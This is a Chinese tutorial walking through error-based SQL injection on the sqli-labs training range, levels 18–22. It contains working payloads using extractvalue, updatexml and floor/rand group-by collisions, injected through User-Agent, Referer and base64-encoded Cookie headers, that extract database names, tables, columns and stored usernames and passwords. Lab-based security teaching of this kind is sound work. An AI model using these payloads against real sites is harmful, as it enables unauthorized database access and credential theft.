渗透测试之sql注入--报错注入

渗透测试之sql注入---报错注入

本内容为sql注入的一部分,sql注入靶场为 sqli-labs 靶场

如有对sql不熟悉的可以查看 MYSQL 笔记

如需更多靶场,请查看 渗透测试靶场合集

免责声明: 请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

SQL注入的主要类型包括:

报错注入是利用网站的报错信息来带出我们想要的信息,就是在错误信息中执行sql语句

xpath 报错注入

注入命令:

使用extractvalue()函数,利用查询的XPath_string不存在,将XPath_string的信息在报错中回显。将注入的sql放在需要查询的XPath_string信息中,就能够回显数据

其中 extractvalue()函数语法、参数定义及作用如下:

从目标 XML 中返回包含所查询值的字符串

● 第一个参数:XML_document是 String 格式,为XMIL文档对象的名称。

● 第二个参数:XPath_string (Xpath格式的字符串)。

sql 复制代码
SELECT extractvalue('<root><username>luojie</username><age>18</age></root>', '//username')
sql 复制代码
?id=1 and extractvalue(1, concat(0x5c, (select version()),0x5c))

注意:updatexml和extractvalue报错注入爆出来的数据长度是有限的

Less-18

POST - 头部注入 - User-Agent字段 - 错误注入

当前关卡注入点在头部,可以使用bp抓包后修改头部信息,然后再发起请求

本关需要成功登录,可以从之前的关卡中获得admin用户的密码是admin

sql 复制代码
# 确定是否注入成功
1',2,3#

# 获取数据库版本及数据库名称
1',2,extractvalue(1, concat(0x5c, (select version()),0x5c)))#
1',2,extractvalue(1, concat(0x5c, (select database()),0x5c)))#

# 查询数据表信息
1',2,extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#
1',2,extractvalue(1, concat(0x5c, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#

# 查询敏感数据
1',2,extractvalue(1, concat(0x5c, (select group_concat(username, 0x5e, password) from users),0x5c)))#
# 因爆出的长度有限,可以使用limit进行循环获取
1',2,extractvalue(1, concat(0x5c, (select concat(username, 0x5e, password) from users limit 0,1),0x5c)))#

updatexml 报错

  • updatexml 报错
    原理和 xpath 报错一样,都是利用查询的XPath_string不存在,然后将XPath_string在错误中抛出

    sql 复制代码
    ?id=1 and updatexml(1,concat(0x5e,(select version()),0x5e),1)

    updatexml(xml_document,xpath_string,new_value)

    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc1

    第二个参数: XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。

    第三个参数: new_value,String格式,替换查找到的符合条件的数据。

    注意:updatexml和extractvalue报错注入爆出来的数据长度是有限的

Less-19

POST - 头部注入 - Referer字段 - 错误注入

当前关卡注入点在头部,可以使用bp抓包后修改头部信息,然后再发起请求

本关需要成功登录,可以从之前的关卡中获得admin用户的密码是admin

sql 复制代码
1',updatexml(1,concat(0x5e,(select version() limit 0,1),0x5e),1)) #
1',updatexml(1,concat(0x5e,(select version()),0x5e),1))#

1',updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),1))#
1',updatexml(1,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),1))#

1',updatexml(1,(select group_concat(username, 0x5e, password) from users),1))#
1',updatexml(1,(select concat(username, 0x5e, password) from users limit 1,1),1))#

group by 重复键冲突

注入命令:

(count()+floor()+rand()+group by组合)就是利用 count()、rand()、floor()、

group by 这几个特定的函数结合在一起产生的注入漏洞

sql 复制代码
?id=1 and (select 1 from (select count(*),concat(0x5e,(select version() from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)

Less-20

POST - Cookie注入 - User-Agent字段 - 错误注入

当前关卡注入点在头部,可以使用bp抓包后修改头部信息,然后再发起请求

注意:使用 group by 重复键冲突的方法进行注入时,注入的 sql 语句中不能有group_concat函数,否则不会报错

sql 复制代码
admin' and (select 1 from (select count(*),concat(0x5e,(select version() from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)#

-- 获取当前数据库中表的数量
admin' and (select 1 from (select count(*),concat(0x5e,(select count(*) from information_schema.tables where table_schema=database() limit 0,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)#  
-- 通过修改 limit 值遍历每张表
admin' and (select 1 from (select count(*),concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)#
1',(select 1 from (select count(*),concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 1,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)#

-- 使用同样的方法获取表的字段名
admin' and (select 1 from (select count(*),concat(0x5e,(select count(*) from information_schema.columns where table_name="users" and table_schema=database() limit 0,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)# 
1',(select 1 from (select count(*),concat(0x5e,(select column_name from information_schema.columns where table_name="users" and table_schema=database() limit 0,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)# 
1',(select 1 from (select count(*),concat(0x5e,(select column_name from information_schema.columns where table_name="users" and table_schema=database() limit 1,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)#

-- 使用同样的方法获取数据
admin' and (select 1 from (select count(*),concat(0x5e,(select count(*) from users limit 0,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)# 
admin' and (select 1 from (select count(*),concat(0x5e,(select concat(username, 0x5e, password) from users limit 0,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)# 
admin' and (select 1 from (select count(*),concat(0x5e,(select concat(username, 0x5e, password) from users limit 1,1) ,0x5e,floor(rand(0)*2)) as x from information_schema.tables group by x) as a)# 

Less-21

Cookie注入 - 基于编码 - 单引号与括号

当前关卡注入点在头部,可以使用bp抓包后修改头部信息,然后再发起请求
base64在线编码解码

sql 复制代码
dhakkan') and updatexml(1,concat(0x5e,(select database()),0x5e),1)#
-- dW5hbWU9ZGhha2thbicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg1ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4NWUpLDEpIw%3D%3D
dhakkan') and updatexml(1,concat(0x5e,(select version()),0x5e),1)#
-- dW5hbWU9ZGhha2thbicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg1ZSwoc2VsZWN0IHZlcnNpb24oKSksMHg1ZSksMSkj
......

dhakkan') and updatexml(1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
-- dW5hbWU9ZGhha2thbicpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg1Yywoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSxwYXNzd29yZCkgZnJvbSB1c2VycyksMHg1YyksMSkj

Less-22

Cookie注入 - 基于编码 - 双引号

当前关卡注入点在头部,可以使用bp抓包后修改头部信息,然后再发起请求

sql 复制代码
dhakkan" and updatexml(1,concat(0x5e,(select database()),0x5e),1)#
-- ZGhha2thbiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDVlLChzZWxlY3QgZGF0YWJhc2UoKSksMHg1ZSksMSkj
dhakkan" and updatexml(1,concat(0x5e,(select version()),0x5e),1)#
-- ZGhha2thbiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDVlLChzZWxlY3QgdmVyc2lvbigpKSwweDVlKSwxKSM%3D
......

dhakkan" and updatexml(1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
-- ZGhha2thbiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDVjLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSwweDVjKSwxKSM%3D
相关推荐
证榜样呀5 分钟前
2026 中专大数据技术专业可考的证书有哪些,必看!
大数据·sql
Codefengfeng14 分钟前
数据安全知识点速通
sql
浩浩测试一下18 分钟前
内网---> WriteOwner权限滥用
网络·汇编·windows·安全·microsoft·系统安全
自不量力的A同学25 分钟前
Redisson 4.2.0 发布,官方推荐的 Redis 客户端
数据库·redis·缓存
Exquisite.27 分钟前
Mysql
数据库·mysql
全栈前端老曹1 小时前
【MongoDB】深入研究副本集与高可用性——Replica Set 架构、故障转移、读写分离
前端·javascript·数据库·mongodb·架构·nosql·副本集
R1nG8631 小时前
CANN资源泄漏检测工具源码深度解读 实战设备内存泄漏排查
数据库·算法·cann
阿钱真强道1 小时前
12 JetLinks MQTT直连设备事件上报实战(继电器场景)
linux·服务器·网络·数据库·网络协议
Loo国昌1 小时前
【大模型应用开发】第六阶段:模型安全与可解释性
人工智能·深度学习·安全·transformer
乾元1 小时前
终端安全(EDR):用深度学习识别未知勒索软件
运维·人工智能·网络协议·安全·网络安全·自动化·安全架构